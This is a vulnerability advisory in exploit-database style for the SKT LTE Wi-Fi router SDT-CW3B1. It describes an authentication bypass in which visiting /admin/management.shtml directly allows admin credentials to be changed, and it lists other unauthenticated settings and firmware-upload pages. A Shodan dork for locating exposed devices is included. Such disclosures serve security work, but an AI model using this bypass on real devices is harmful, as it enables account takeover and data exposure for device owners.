SKT LTE Wi-Fi SDT-CW3B1 Unauthorized Admin Credential Change

`# Exploit Title: SKT LTE Wi-Fi SDT-CW3B1 - Unauthorized Admin Credential Change  
# Shodan Dork: SDT-CW3B1  
# Date: 2018-05-23  
# Exploit Author: Safak Aslan  
# Vendor Homepage: http://telesquare.co.kr/  
# Version: SKT CW3B1 sw version 1.2.0  
# Tested on: Windows  
# CVE: -  
  
# Class: Unauthorized Admin Credential Change  
# Impact: The attacker can access, change and remove admin's credential and sensitive data of the device.  
# Remotely Exploitable: Yes  
# Authentication Required: No  
  
# Vulnerability Description  
  
/admin/management.shtml --> System Management access without authentication  
  
# Using the directory of /admin/management.shtml, it is possible to access directly System Management without authentication.   
# The attacker has a right to change User ID,   
# Password for General User, User ID, and Password for Admin.  
  
# Proof-of-Concept  
  
http://targetIP/admin/management.shtml   
  
  
# Additional Info  
  
Additionally, the attacker can reach without authorization the below directories.  
/admin/upload_firmware.shtml (Router firmware and lte firmware upgrade)  
/internet/wan.shtml (WAN settings info leak)  
/index.html (Version and status info leak)   
/nas/ftpsrv.shtml (The settings of FTP)  
/wifi2g/basic.shtml (The settings of Wireless)  
/admin/status.shtml (The leak information of access point status)  
/internet/lan.shtml (The leak information of LAN settings)  
/admin/statistic.shtml (System statistics info leak)  
/serial/serial_direct.shtml (The settings of direct serial)  
/admin/upload_firmware.shtml (Router Firmware and LTE Firmware upgrade)  
  
`